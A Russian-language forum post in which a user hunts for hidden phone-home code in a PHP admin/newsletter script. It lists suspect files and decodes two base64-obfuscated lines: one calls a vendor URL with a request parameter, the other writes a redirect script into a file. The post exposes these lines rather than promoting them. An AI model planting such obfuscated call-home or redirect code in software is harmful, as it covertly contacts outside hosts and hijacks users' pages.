Ребята, скажите то что здесь написали это только эти стучалки?
------------------------
admin/newsletter/u.php
admin/newsletter/newsletter/LIB/TEST.php
а тут вроде как явно
admin/newsletter/cl.php
admin/newsletter/forms/lib/function.php
----------------
0000
в admin_setting.php на 1412 строке функция, в ней
участок кода
PHP код:
$out_data = base64_decode("aHR0cDovL3BpbG90Z3JvdXAubmV0L2xpZ2h0aG91c2UvdGVzdC5waHA/YWN0aXZpdHlfaWQ9").$_REQUEST['activity_id'];
Равносильно
PHP код:
$out_data ='http://pilotgroup.net/lighthouse/test.php?activity_id='.$_REQUEST['activity_id'];
потом на 1429 строке
PHP код:
fputs($fp, base64_decode("PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmZiaS5nb3YvJzwvc2NyaXB0Pg=="));
равносильно
PHP код:
fputs($fp,<script>document.location.href='http://www.fbi.gov/'</script>)
---------------------
больше нет?